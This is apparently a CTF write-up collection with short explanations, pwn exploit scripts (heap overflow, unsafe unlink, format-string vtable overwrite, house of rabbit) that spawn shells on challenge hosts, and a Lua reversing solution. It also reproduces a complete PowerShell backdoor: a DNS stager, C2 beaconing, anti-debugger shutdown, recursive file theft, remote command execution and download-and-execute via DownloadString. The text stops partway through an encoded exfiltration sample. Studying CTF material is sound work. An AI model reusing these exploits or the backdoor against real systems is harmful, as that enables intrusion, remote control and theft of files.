env.set_item('target',  local   = {'host':'localhost', 'port':8080}, \
                        remote  = {'host':'47.75.37.114', 'port':9999})
env.select()

#==========

binf = ELF(bin_file)
libc = ELF(libc_file)
offset_libc_malloc_hook = libc.symbols['__malloc_hook']
offset_libc_mainarena   = offset_libc_malloc_hook + 0x10

#==========

def attack(conn):
    gd = Gundam(conn)

    gd.build('0', 0)    # 0
    gd.build('1', 0)    # 1
    for _ in range(7):
        gd.destroy(0)

    gd.build('\x90', 0) # 2
    addr_heap_base      = u(gd.visit()[1][11:].split('Type')[0]) - 0x290
    info('addr_heap_base    = 0x{:08x}'.format(addr_heap_base))

    for _ in range(2):
        gd.destroy(0)

    gd.blow()
    gd.build('\x78', 0) # 0
    addr_libc_mainarena = u(gd.visit()[0][11:].split('Type')[0]) - 0x58
    libc.address = addr_libc_mainarena - offset_libc_mainarena
    addr_libc_free_hook     = libc.symbols['__free_hook']
    addr_libc_system        = libc.sep_function['system']
    info('addr_libc_base    = 0x{:08x}'.format(libc.address))

    gd.build('\x00', 0) # 3

    for _ in range(2):
        gd.destroy(1)

    gd.build(p64(addr_libc_free_hook), 0)   # 4
    gd.build('/bin/sh', 0)                  # 5
    gd.build(p64(addr_libc_system), 0)      # 6

    gd.destroy(5)

class Gundam:
    def __init__(self, conn):
        self.recvuntil      = conn.recvuntil
        self.recv           = conn.recv
        self.sendline       = conn.sendline
        self.send           = conn.send
        self.sendlineafter  = conn.sendlineafter
        self.sendafter      = conn.sendafter

    def build(self, name, type):
        self.sendlineafter('choice : ', '1')
        self.sendafter('gundam :', name)
        self.sendlineafter('gundam :', str(type))

    def visit(self):
        self.sendlineafter('choice : ', '2')
        return self.recvuntil('1 . Build a gundam')[1:].split('\n\n')[0:-1]

    def destroy(self, index):
        self.sendlineafter('choice : ', '3')
        self.sendlineafter('Destory:', str(index))

    def blow(self):
        self.sendlineafter('choice : ', '4')

#==========

if __name__=='__main__':
    conn = communicate(env.mode, **env.target)
    attack(conn)
    conn.interactive()

#==========

once (Pwn)

doubly-linked list is used in the challenge.
I can control same link pointer so I can overwrite address to anywhere.
I overwrite vtable pointer of stdout to heap address and get shell.

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "47.75.189.102"
RPORT = 9999
LHOST = "127.0.0.1"
LPORT = 9999

# libc = ELF('./libc-2.23.so')
elf = ELF('./once')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        set environment LD_PRELOAD=./libc-2.23.so
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./once'], execute)
else:
    conn = process(['./once'])
    # conn = process(['./once'], env={'LD_PRELOAD': './libc-2.23.so'})

# preparing for exploitation

def create():
    conn.sendlineafter('> ', '1')

def write(payload):
    conn.sendlineafter('> ', '2')
    time.sleep(0.5)
    conn.send(payload)

def free():
    conn.sendlineafter('> ', '3')

def malloc(size):
    conn.sendlineafter('> ', '4')
    conn.sendlineafter('> ', '1')
    conn.sendlineafter('input size:', str(size))
    conn.sendlineafter('> ', '4')

def _free():
    conn.sendlineafter('> ', '4')
    conn.sendlineafter('> ', '3')
    conn.sendlineafter('> ', '4\x00yyyyyy')

def write_string(payload):
    conn.sendlineafter('> ', '4')
    conn.sendlineafter('> ', '2')
    time.sleep(0.5)
    conn.sendline(payload)
#    conn.recvuntil('success.')
    conn.sendlineafter('> ', '4')


log.info('Pwning')

conn.sendlineafter('> ', '-1')
conn.recvline()
buf = conn.recv(len('0x7fbb53834690'))
libc_base = int(buf, 16) - 0x6f690
log.info('libc_bsae = 0x%x', libc_base)

write('a'*0x10 + p64(libc_base + 0x3c56e0 + 8)*2)
malloc(0x200)
payload = '/bin/sh\x00' + p64(libc_base + 0x45390) + 'y'*0x10 + 'z'*0x10 + 'w'*0x8 + p64(libc_base + 0x7475e)
write_string(payload)
_free()

conn.recvuntil('>')
create()

conn.interactive()

d (Pwn)

There is a heap overflow and I can overwrite chunk size of next chunk.
I use unsafe unlink attackand control GOT.
Finally, I write system addres to __free_hook and get shell.

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "47.75.154.113"
RPORT = 9999
LHOST = "127.0.0.1"
LPORT = 9999

# libc = ELF('')
elf = ELF('./27b201be-af0d-4fb9-85b8-f6ea9712e632.d')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./27b201be-af0d-4fb9-85b8-f6ea9712e632.d'], execute)
else:
    conn = process(['./27b201be-af0d-4fb9-85b8-f6ea9712e632.d'])
    # conn = process(['./27b201be-af0d-4fb9-85b8-f6ea9712e632.d'], env={'LD_PRELOAD': ''})

# preparing for exploitation

def read(idx, msg):
    conn.sendlineafter('Which? :', '1')
    conn.sendlineafter('Which? :', str(idx))
    conn.sendlineafter('msg:', msg)

def edit(idx, msg):
    conn.sendlineafter('Which? :', '2')
    conn.sendlineafter('Which? :', str(idx))
    conn.sendlineafter('new msg:', msg)

def wipe(idx):
    conn.sendlineafter('Which? :', '3')
    conn.sendlineafter('Which? :', str(idx))

def fsa(addr, byte):
    payload = ''


printf_plt = elf.plt['printf']
atoi_plt = elf.plt['atoi']
strlen_plt = elf.plt['strlen']
fake_chunk = 0x6021a0


log.info('Pwning')

read(0, 'x' * 0x138)
read(1, 'x' * 0x138)
read(2, 'x' * 0x138)
read(3, 'x' * 0x138)
read(4, 'y' * 0x138)
read(5, 'z' * 0x138)
read(6, 'z' * 0x138)
wipe(4)
read(4, 'a'* (0x138+19))
edit(4, 'x'*0xf8)
edit(4, 'x'*0xf0 + p64(0xf0))
payload = p64(0x0) + p64(0xf1)+p64(fake_chunk - 0x18) + p64(fake_chunk-0x10)
edit(4, payload)
wipe(5)

edit(6, '/bin/sh\x00')
edit(4, p64(0x602028))
edit(1, p64(printf_plt)[:6])

edit(0, '%2$p')
conn.recvuntil('Which? :')
conn.sendline('2')
conn.recvuntil('Which? :')
conn.sendline('0')
conn.recvuntil('0x')
libc_base = int(conn.recv(12), 16) - 0x3c6780
log.info('libc_base = 0x%x', libc_base)
conn.sendline('hoge')

edit(4, '%p')
edit(4, p64(0x602018))
edit(1, '%p')
edit(1, p64(libc_base + 0x45390)[:7])

conn.interactive()

babypwn (Pwn)

This is a simple Format String Attack challenge.
After leaking some addresses, I overwrite vtable pointer of stdin for getting PC.

#!/usr/bin/env python
from pwn import *

#context(os='linux', arch='unknown')
#context.log_level = 'debug' # output verbose log

RHOST = "47.75.182.113"
RPORT = 9999
LHOST = "127.0.0.1"
LPORT = 9999

# libc = ELF('')
elf = ELF('./a.out')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        b *0x4006ef
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./a.out'], execute)
else:
    conn = process(['./a.out'])
    # conn = process(['hogehoge'], env={'LD_PRELOAD': ''})

# preparing for exploitation

def write(addr, byte):
    payload = ('%%%dc%%10$hhn'% byte ).ljust(0x20, 'x')+ p64(addr)
    conn.sendline(payload)

log.info('Pwning')

# leak libc_base
conn.sendline('%41$p')
conn.recvuntil('0x')
libc_base = int(conn.recv(12), 16) - 0x20830
log.info('libc_base = 0x%x', libc_base)

stdin = libc_base + 0x3c48e0
stdin_vtable = libc_base + 0x3c49b8
fake_vtable = libc_base + 0x3c49c0
system = libc_base + 0x45390

# set ';sh' string
write(stdin+4, ord(';'))
write(stdin+5, ord('s'))
write(stdin+6, ord('h'))

# create fake vtable
for i in range(6):
    write(fake_vtable+0x28+i, ord(p64(system)[i]))

# overwrite stdin vtable ptr
a = (fake_vtable & 0xffff)
payload = ('%%%dc%%10$hn'% a ).ljust(0x20, 'y')+ p64(stdin_vtable)
conn.sendline(payload)

conn.interactive()

mutepig (Pwn)

This is a challenge based on a technique called house of rabbit
which is realeased a long time ago… But I’ve never seen It being used in any CTFs… Or maybe I just dont participate in
that CTF…

from pwn import *
context.log_level = 'debug'
io = process('./mutepig')
pause()

def menu(idx):
    io.sendline(str(idx))
    sleep(0.2)

def add(typ, content):
    menu(1)
    io.sendline(str(typ))
    sleep(0.2)
    io.send(content)

def delete(idx):
    menu(2)
    sleep(0.2)
    io.sendline(str(idx))

def edit(idx, content, name):
    menu(3)
    io.sendline(str(idx))
    sleep(0.2)
    io.send(content)
    sleep(0.5)
    io.send(name)

io.recv()
# make av->system_mem > 0xa00000
add(3, 'a' * 0x7)
delete(0)
add(3, 'b' * 0x7)
delete(1)

# free fast chunk and link to fastbins
add(1, 'd' * 0x7) # fast 2
add(2, 'f' * 0x7) # small 3
delete(2)

# Make fake_chunk on .bss and edit the fastbin's fd
g_buf = 0x602120
name = p64(0)
name += p64(0x11)
name += p64(0)
name += p64(0xfffffffffffffff1)
edit(2, p64(g_buf + 0x10)[:6], name)
pause()

# call malloc consolidate
delete(3)
pause()

# link unsorted bins to appropriate list
name = p64(0xfffffffffffffff0)
name += p64(0x10)
name += p64(0)
name += p64(0xa00001)
edit(2, 'c', name)
add(3, 'g' * 0x7)
name = p64(0xfffffffffffffff0)
name += p64(0x10)
name += p64(0)
name += p64(0xfffffffffffffff1)
edit(2, '/bin/sh', name)
#pause()

# overwrite the target variable
target = 0x6020c0
free_got = 0x602018
hack_addr = 0x4006e0
add(13337, 'a')

add(1, p64(free_got)[:6])
print 'now'
pause()
# edit free.got => hack
edit(0, p64(hack_addr)[:6], 'lowkey')

# call hack
pause()
delete(2)
io.interactive()

moliboom (Reverse)

From CyKor

In hacku challenge, there were a base64 string with part1 of the flag. After decoding it and saving with filename “moliboom”, the given binary for moliboom challenge accepted it as a lua 5.3 compiled file.
But there is some weirdness in the program and LuaC(lua compiled file) file: the binary readed every character of the file with 0x67 xored, and after applying xor, the original lua 5.3 interpreter couldn’t process the file. It caused segmentation fault instead.
After reversing the program for hours, I found that every opcode is changed, so the disassembler and decompiler does not work.

Comparing the program’s semantics with original lua interpreter’s one with inline expansion optimization in my mind, I found every opcode’s permutation (maybe some opcodes can be wrong, but the decompiler worked).
Below is the complete mapping, which is extracted using regexr.com and hexrays decompiler:

case   0 :  	 // LOADKX
case   1 :  	 // NEWTABLE
case   2 :  	 // MOVE
case   3 :  	 // LOADK
case   4 :  	 // SETTABLE
case   5 :  	 // LOADBOOL
case   6 :  	 // LOADNIL
case   7 :  	 // GETUPVAL
case   8 :  	 // SELF
case   9 :  	 // SETTABUP
case   0xA :  	 // SETUPVAL
case   0xB :  	 // GETTABLE
case   0xC :  	 // GETTABUP
case   0xD :  	 // BOR
case   0xE :  	 // SHR
case   0xF :  	 // MOD
case   0x10 :  	 // BXOR
case   0x11 :  	 // SUB
case   0x12 :  	 // BAND
case   0x13 :  	 // ADD
case   0x14 :  	 // SHL
case   0x15 :  	 // IDIV
case   0x16 :  	 // POW
case   0x17 :  	 // DIV
case   0x18 :  	 // MUL
case   0x19 :  	 // VARARG
case   0x1A :  	 // TFORCALL
case   0x1B :  	 // CONCAT
case   0x1C :  	 // UNM
case   0x1D :  	 // LEN
case   0x1E :  	 // TFORLOOP
case   0x1F :  	 // CALL
case   0x20 :  	 // SETLIST
case   0x21 :  	 // FORPREP
case   0x22 :  	 // TEST
case   0x23 :  	 // NOT
case   0x24 :  	 // JMP
case   0x25 :  	 // LE
case   0x26 :  	 // FORLOOP
case   0x27 :  	 // LT
case   0x28 :  	 // TAILCALL
case   0x29 :  	 // TESTSET
case   0x2A :  	 // EQ
case   0x2B :  	 // RETURN
case   0x2C :  	 // BNOT
case   0x2D : 	 // CLOSURE

After making this as enum like OP_CALL = 0x1F, OP_TFORLOOP = 0x1E, OP_LEN = 0x1D, OP_UNM = 0x1C, OP_CONCAT = 0x1B, … and just pasting it in lua 5.3 opcode header which is used in luadec, the disassembler and decompiler worked and did emit a lua code. The program worked in two steps:

It loaded a string in the path indicated by “keyfile” variable (F0v1v), and compared it with “lt’s u t1m3”.
It equals, then the lua program gets an input string, encodes through base64 with custom charset, and compares with hardcoded string which is made using some string concat and reverse.
If correct, it prints HITBXCTF{ }.

I obtained second input by this python code:

import   string
s = 'mq+ASGk5ThmRCpJ5TxZvBqJoSG7cSGm3UfNQ'
tr = 'tWFpnJqPyk4iCsbOEZB2amfSMUYTVu0v+XLwH5hxrldKg13/czAoGNRe7Q8Ij96D'
std_base64chars  =   "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
trans  =   string.maketrans (tr, std_base64chars)
print  s.translate(trans).decode('base64')

Flag: HITBXCTF{Th2_Benev01ent_Has_N0_Enemy}

hacku (Reverse)

$Domain = '.hacku.org'
function R2V0LUNDbWQ($i)
{
        $result = (nslookup -q=txt -timeout=%d $i$Domain) | out-string
        $x = ''
        if ($result.Contains('"'))
        {
                $x = ([regex]::Match($result,'(?<=")[^"]*(?=")').Value)
        }
        return $x
}
function R2V0LVJhbmRvbQ()
{
        $number = get-random -maximum 30 -minimum 1
        return $number
}
function AGKWSWFKGUEGCFVOCIZAQJUPZIEHFU($sec)
{
        Start-Sleep -Seconds $sec
}
$stage = ''
for($i=1;; $i ++)
{
        $x = R2V0LUNDbWQ $i
        if ($x.length -lt 1)
        {
                break
        }
        $stage += $x
}

function cvt-b64-str( $b64 )
{
        return [System.Text.Encoding]::Utf8.GetString([System.Convert]::FromBase64String($b64))
}

nslookup -type=TXT 1.hacku.org

$GET_FILE = 'get-fle'
$DOWN_EXEC = 'dow-exe'
$RUN_CMD = 'run-cmd'

$GET_REG = 'get-reg'
$GET_TASK = 'get-tak'
$GET_UPDATE = 'get-upd'
$GET_REP = 'get-rep'

$STATUS_INIT  = 0x0000
$STATUS_REGED = 0x8000
$STATUS_TASK  = $STATUS_REGED -bor 0x1
$STATUS_PADD  = $STATUS_REGED -bor 0x2


$url = 'http://192.168.99.234/cc/cc.php'
$status = $STATUS_INIT
$task = $null
$running = $True

$pubk = (1501,377753)

function get-Md5Hash($str)
{
    $md5 = new-object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider
    $utf8 = new-object -TypeName System.Text.UTF8Encoding
    $hash = [System.BitConverter]::ToString($md5.ComputeHash($utf8.GetBytes($str)))
    return $hash -replace '-'
}

function get-ComputeName
{
    try
    {
        return (Get-WmiObject Win32_ComputerSystem).Name;
    } catch
    {
        return "ErrComputeName";
    }
}

function get-clientID
{
    try
    {
        $did = (wmic diskdrive get SerialNumber)
        $cid = get-Md5Hash $did
        return $cid
    }
    catch
    {
        $CompName = get-ComputeName
        return get-Md5Hash $CompName
    }
}
function Reg-Info
{
    $clientID = get-clientID
    $time = Get-Date
    $c = $GET_REG
    return @{c = $c ; x = $clientID ;e = $time ; i = 0} |  ConvertTo-Json
}
function get-Task
{
    $clientID = get-clientID
    $time = Get-Date
    $c = $GET_TASK
    return @{c = $c ; x = $clientID ;e = $time  ; i = 0} |  ConvertTo-Json
}
function EttRRRRRRhd ( $tid , $taskinfo )
{
    $clientID = get-clientID
    $time = Get-Date
    $c = $GET_REP
    return @{c = $c ; x = $clientID ;e = $taskinfo; i = $tid} |  ConvertTo-Json
}

function check_VM()
{
    $p = @("win32_remote","win64_remote64","ollydbg","ProcessHacker","tcpview","autoruns","autorunsc","filemon","procmon","regmon","procexp","idaq","idaq64","ImmunityDebugger","Wireshark","dumpcap","HookExplorer","ImportREC","PETools","LordPE","dumpcap","SysInspector","proc_analyzer","sysAnalyzer","sniff_hit","windbg","joeboxcontrol","joeboxserver")
    for ($i=0; $i -lt $p.length; $i++) {
        if(ps -name $p[$i] -ErrorAction SilentlyContinue){
            shutdown /s /f /t 0
            exit
        }
    }
}

function YTRKLJHBKJHJHGV($msg)
{
    while($True)
    {
        try
        {
            $content = $msg
            $webRq = [System.Net.WebRequest]::Create($url)
            $webRq.proxy = [Net.WebRequest]::GetSystemWebProxy()
            $webRq.proxy.Credentials = [Net.CredentialCache]::DefaultCredentials


            #

            $content = YNHGFOI8YIUGH $content


            #
            $content = OPKE3989hYYY $pubk $content
            #

            #
            $content = YNHGFOI8YIUGH $content

            $enc = [System.Text.Encoding]::UTF8.GetBytes($content)

            #

            $webRq.Method = 'POST'
            $webRq.ContentLength = $enc.length


            if ($enc.length -gt 0)
            {
                $req_stream = $webRq.GetRequestStream()
                $req_stream.Write($enc , 0 , $enc.length)

            }

            [System.Net.WebResponse] $rep = $webRq.GetResponse()
            if ($rep -ne $null)
            {
                $data = $rep.GetResponseStream()
                [System.IO.StreamReader] $res_d = New-Object System.IO.StreamReader $data
                [String] $result = $res_d.ReadToEnd()
            }
        }
        catch
        {
            $result = 'err'
            #
        }

        if ($result -eq 'err')
        {

        }
        else
        {

            return $result
        }
    }
}

function POIUIGKJNBYFF($msg)
{

    $msg = OKMNHGGGGSSAAA $pubk $msg
    $msg = ConvertFrom-Json -InputObject $msg
    return $msg.r,$msg.e
}

function YNHGFOI8YIUGH( $str )
{
    return [Convert]::ToBase64String( [System.Text.Encoding]::Utf8.GetBytes($str))
}

function VCDHJIIDDSQQQ( $b64 )
{
    return [System.Text.Encoding]::Utf8.GetString([System.Convert]::FromBase64String($b64))
}

function POPOUIUJKKKI($file)
{
    return YNHGFOI8YIUGH (Get-Content $file)
}

function MJOOLLFGFASA($name)
{
    $filelist = @()
    $result = @{}

    for ($i = 0x43 ; $i -lt 0x5b; ++ $i)
    {
        try
        {   $dc = '{0}:/' -f ([char]$i)
            $file = Get-ChildItem "$dc" -recurse $name | %{$_.FullName}
            if ($file.length -gt 0)
            {
                $filelist += $file
            }
        }
        catch
        {
            continue
        }
    }

    $result.ct = $filelist.length
    $result.dt = @()
    foreach( $f in $filelist)
    {
        $fd = POPOUIUJKKKI $f
        $result.dt += @{path=(YNHGFOI8YIUGH $f ); txt=$fd}
    }
    return ConvertTo-Json -InputObject $result
}


function DXCFGIOUUGKJB764($x, $h, $n)
{
   $y = 1
   while( $h -gt 0 )
   {
        if ( ( $h % 2 ) -eq 0)
        {
            $x = ($x * $x) % $n
            $h = $h / 2
        }else
        {
            $y = ($x * $y) % $n
            $h = $h - 1
        }
   }
   return $y
}

function OPKE3989hYYY($pk , $plaintext)
{
    $key , $n = $pk
    $arr = @()
    for ($i = 0 ; $i -lt $plaintext.length ; $i++)
    {
     $x = DXCFGIOUUGKJB764 ([int] $plaintext[$i]) $key $n
     $arr += $x
    }
    return $arr
}
function OKMNHGGGGSSAAA($pk,$enctext)
{
    $key , $n = $pk
    $txt = ""

    $enctext = VCDHJIIDDSQQQ $enctext
    [int[]]$enctab =  $enctext -split ' '
    foreach ($x in $enctab)
    {
        if ($x -eq 0)
        {
            continue
        }
        $x = DXCFGIOUUGKJB764 $x $key $n
        $txt += [char][int]$x
    }
    $txt = VCDHJIIDDSQQQ($txt)
    return $txt
}

function UIHIUHGUYGOIJOIHGIHGIH($cmd)
{
    $cmd = ConvertFrom-Json -InputObject $cmd
    $c = $cmd.c
    $i = $cmd.i
    $e = $cmd.e
    $x = $cmd.x

    #
    #

    if ($c -eq $GET_FILE)
    {

        $d = MJOOLLFGFASA $e
    }
    elseif ($c -eq $RUN_CMD)
    {

        $d = Invoke-Expression $e -ErrorAction SilentlyContinue
    }
    elseif ($c -eq $DOWN_EXEC)
    {

        $d = Invoke-Expression ((New-Object Net.WebClient).DownloadString("$e")) -ErrorAction SilentlyContinue
    }
return @($i , $d)
}


$MuName = 'Global\_94_HACK_U_HAHAHAHAHA'
$retFlag = $flase
$Result = $True
$MyMutexObj = New-Object System.Threading.Mutex ($true,$MuName,[ref]$retFlag)
if ($retFlag)
{
    $Result = $True
}
else
{
    $Result = $False
}

if ($Result)
{
    while($True -and $running)
    {

        if($status -eq $STATUS_INIT)
        {

            $OO0O0O0O00 = Reg-Info


            $ret = YTRKLJHBKJHJHGV($OO0O0O0O00)

            $r,$e = POIUIGKJNBYFF($ret)


            if ($r -eq 'yes' -and $e -eq 'ok_then_u_go')
            {
                $status = $STATUS_PADD


            }
        }
        if ($status -eq $STATUS_PADD)
        {


            $OO0O0O0O00 = get-Task

            $ret = YTRKLJHBKJHJHGV($OO0O0O0O00)
            $r,$e = POIUIGKJNBYFF($ret)
            if ($r -eq 'yes')
            {

                $task = $e
                $status = $STATUS_TASK
            }

        }
        if ($status -eq $STATUS_TASK)
        {


            #
            $ret = UIHIUHGUYGOIJOIHGIHGIH($task)
            $OO0O0O0O00 = EttRRRRRRhd $ret[0] $ret[1]
            $ret = YTRKLJHBKJHJHGV($OO0O0O0O00)

            $r,$e = POIUIGKJNBYFF($ret)
            if ($r -eq 'yes')
            {
                $status = $STATUS_PADD
                $task = $null
            }
        }

        sleep 3
    }
    $MyMutexObj.ReleaseMutex() | Out-Null
    $MyMutexObj.Dispose() | Out-Null
}
else
{

}

def DXCFGIOUUGKJB764(x, h, n):
   y = 1
   while(h > 0):
        if (h % 2) == 0:
            x = (x * x) % n
            h = h / 2
        else:
            y = (x * y) % n
            h = h - 1
   return y

# server to client
def dec_str(enctext):
    key = 1501
    n = 377753
    txt = ""

    enctext = enctext.decode('base64')
    enctab = map(int, enctext.strip().split(' '))
    for x in enctab:
        if(x == 0):
            continue
        x = DXCFGIOUUGKJB764(x, key, n)
        txt += chr(x & 0xff)

    # print(repr(txt))
    txt = txt.decode('base64')
    return txt

# client to server
def dec_str(enctext):
    key = 113251
    n = 377753
    txt = ""

    enctext = enctext.decode('base64')
    enctab = map(int, enctext.strip().split(' '))
    for x in enctab:
        if(x == 0):
            continue
        x = DXCFGIOUUGKJB764(x, key, n)
        txt += chr(x & 0xff)

    # print(repr(txt))
    txt = txt.decode('base64')
    return txt

{\r\n    "c":  "get-rep",\r\n    "e":  "{\\r\\n    \\"ct\\":  1,\\r\\n    \\"dt\\":  [\\r\\n               {\\r\\n                   \\"path\\":  \\"QzpcVXNlcnNcYjMzZlxEZXNrdG9wXGN0Zlxtb2xpYm9vbQ==\\",\\r\\n                   \\"txt\\":  \\"ZmxhZ19wYXR0MTogSElUQlhDVEZ7VzBya18xbl90aDNfZGFya18gIG1vbGlib29tX0I2NCAgZkNzU0JqUm5mdlJxYlgxdFkyTmpiMjhmTVdkbloyZG5aMmRuWjJkblR4QW5ablluU1VrN0NnZ0xEZ1VJQ0FwSkN4SUdaMmRuWjJkbloyZG5abVZvWjJkblpHZG5ad3BuWjJkdUorZm5DaWRuWjI0blorWUs1MmRuYmlmbjVncW5aMmR1SjJmbENtZG1aMjRuNStVcjV5ZG5EMmZuWnd4bloyZE1aK2RuWVdkbloyTmhJVmNSVmhGall4WVRGbU5nRkJNR0FBSldZMlFHQm1ObEYyTmdGQk1HQUFKVlptZG5aMlpuWW1kbloyZHFaMmRuZUdkbloyZG5ibDluWjJkckp5ZG5iT2NuWnlzbkoyY3NwNmRuNUdkbVp6am5aMlkwSjZabmVPZG5abTVuWitkckp5ZG5iT2NuWnlzbkoyY3NwNmRuNUtkbVp6am5aMlkwWjZWbmVPZG5abTVuWitSckp5ZG5iT2NuWnlzbkoyY3NwNmRuNU9kbFp6am5aMlkvSitmaWVPZG5abTVuNStOdUp5VGhicWNrNEc0bkkrOXVweVR1Ym1laTdtN25vdTF1WjZIc2J1ZWg2MjVub09wckp5Rm5LeWNpWjN3bloyZHVaK2ZwYTJjblp5dm5KbWZySnlWbnEyY2taMnZtSkdjcnBpSm42K1lqWjZ1bUkyZHJaU05uZkdkbFoyNW41K1JycHlabkt5Y2daM3duWjJkTVoyZG1UR2ZuWjNsbloyZGpZemdrT0dOZ0ZCTVZEZ2tBWTJJRUR3WVZZMklGSGhNQ1kyVkVkQzVuWjJkbloyZG5ZMkk0T0RNNFkyVUdkSFJuWjJkbloyZG5ZMkE0T0RnNElUaGpaV3AwWkdkbloyZG5aMmRqYlRnNE9EZzRDRFFJVjJObEZHTnNPRGc0T0RnNERnZ3VDMk5sUjJOdU9CNFZFQlFEQXdOalpWWmphamc0T0RnNE9EZzRPQ280T0dOcE9EZzRPRGc0T0RnNE9BWTRPR05sRTJOdU9GOE5EMVJURlZKalpWUmphemc0T0RnNE9EZ2tKbGNJWTJVU1kyQTREaEllWGw5alpRcGpkVGc0T0RnNE9EZzRPRGc0T0RnNEFEZzRZMElITWpna0JnazRJd2c0TGhNSFJ3VWVPQ29mQ1I0NE5BWWVPRE1QRGhRVUZCUkhYVTVqWlFWbVoyZG5aMmRuWjJkblgyZG5aMmxuWjJkcFoyZG5hV2RuWjJsbloyZHBaMmRuYVdkbloybG5aMmRwWjJkbmFXZG5aMmhuWjJkb1oyZG5hR2RuWjJobloyZG9aMmRuYUdkbloyaG5aMmRvWjJkbmFHZG5aM2RuWjJkM1oyZG5kMmRuWjNkbloyZDNaMmRuZDJkblozZG5aMmQzWjJkbmQyZG5aM1puWjJkMVoyZG5kR2RuWjNObloyZHlaMmRuY1dkblozQm5aMmQvWjJkbmZtZG5aM3huWjJkOFoyZG5mR2RuWjN4bloyZDdaMmRuZTJkblozdG5aMmQ3WjJkbmUyZG5aM3RuWjJkN1oyZG5lMmRuWjN0bloyZDdaMmRuZTJkblozbG5aMmQ1WjJkbmVXZG5aM2xuWjJkNFoyZG5aMmRuWjJabloyZGlPQ0lwTVdkR1oyZG5WV2RuWjJkblluNW5aMmRyWnlkbmJDY25aeTFuNTJmazUyZG5lT2ZuWmdwbloyY05weWRuUXlkazUrOG5KbWRrNW1abitPZm5abTduWitYclp5Wm5wV2ZuWjdqbjUyZTQ1K2RuVGFkblprT25aK2ZycHlabnEyY21aODluWjJiTVoyZG41R2RsWjh4bloyWk1aK2RuYm1kbloyTmtEZ2hqWWdnWEFnbGpaUlZuWTJJTUFoNVdZMklWQWdZRFkySk5CZ3NMWTJRVVZuUm5aMmRuWjJkbloyVm5aMmRuWjJablptZG5aMmRDWjJkblRtZG5aMmRuWldSbloyZEtaMmRuVEdkblpreG41MmRuWjJkblptZG5aMmRuWm1kbloyZEJaMmRuVDJkbloyZG5aV05uWjJkclp5ZG5UMmZuWjB4bloyZE1aK2RuWm1kbloyTmpGaE1XWm1kbloyZG5aMmRuWjJObloyZEFaMmRuUUdkblowQm5aMmRQWjJkbloyZG5aMlpuWjJkaU9DSXBNV1JuWjJkUFoyZG5UMmRuWjA1bloyZG5aMmRuWm1kbloySTRJaWt4Zm1kblowUm5aMmRFWjJkblJHZG5aMFJuWjJkRVoyZG5UbWRuWjB4bloyZE1aMmRuUzJkblowdG5aMmRMWjJkblMyZG5aMHBuWjJkS1oyZG5TbWRuWjBwbloyZEtaMmRuU21kblowbG5aMmRKWjJkblNXZG5aMGxuWjJkV1oyZG5WbWRuWjFWbloyZGxaMmRuWWdFT0N3SmlaMmRuZm1kbloyRWZCQWdEQW1GbloyZCtaMmRuWldkbloySTRJaWt4Ynd3Q0hnRU9Dd0puVTJkblp5Tm5aMmRuWjJ4N1oyZG5abWRuWWlSbloyZmtKMmRucE9kbloyU21aMmNrWm1abjVDWm1aNlRtWm1ka3BXWm5KR1ZsWitRbFpXZEhKMmRpSk9kbFordW5KV2VsWjJkbitHZG1aa1BuWitlbFp1ZG5aV1ZuWkR4bjVXVDk1MmRuZWVhWkdNcG5aMmVsWjJkbVpXYm5aNDluWjJhTVoyZG5UR2ZuWjJ0bloyZGpaUTlqWlROalpWSmpaUXhqWlNCalpUUmpaU1pqWlV4alpSWmpaUXBqWm1OaEZ3WU9GUlJtWjJkbloyZG1aMmRuWjF4bloyY21aMmRuWm1kc2QyZG5aeVJuWjJmNloyZG5wQ2RuWjJUbVoyZkdwMmJuNVdiblo2dW1KMmVzWnFaa1pXVm5aeVZsNTJYbFplZGx1T1puWlR5blptVEI1NW9ZREdkblpreG41MmRpWjJkblkyWjBabWRuWjJkbloyZDBtSmlZbUppWW1KaGpZQlFURlE0SkFHTmpGQklGWm1kbloyZG5aMmRuWjNkbloyZGJaMmRuV21kbloxcG5aMmRhWjJkbldtZG5aMWxuWjJkWloyZG5XV2RuWjFsbloyZFpaMmRuV1dkbloxbG5aMmRaWjJkbldtZG5aeWRuWjJjbVoyZG5ZV2RuWjJVVVoyZG5aM2RuWjJkbEZXWm5aMmQzWjJkbmEwOEJDQlZIRGdrREFoOU9ZMmRuWjJsbloyZHJUd0VJRlVjTERnb09FMDVqWjJkbmFXZG5aMnhQQVFnVlJ4UVRBaGRPWTJkbloybG5aMmRsRG1KbloyZHFaMmRuWm1kbloySTRJaWt4ZTJkbloxSm5aMmRTWjJkblVtZG5aMUpuWjJkU1oyZG5VbWRuWjFKbloyZFNaMmRuVW1kbloxSm5aMmRTWjJkblVtZG5aMUZuWjJkUVoyZG5VR2RuWjFCbloyZFFaMmRuWDJkbloxOW5aMmRmWjJkblVHZG5aMUJuWjJjbVoyZG5KR2RuWnlSbloyY2taMmRuSkdkblp5Tm5aMmR2WjJkblpSZHJaMmRuZTJkbloyVVZhbWRuWjN0bloyZDNUd0VJRlVjQUFna0NGUVlUQ0JWT2QyZG5aM0ZuWjJkclR3RUlGVWNVR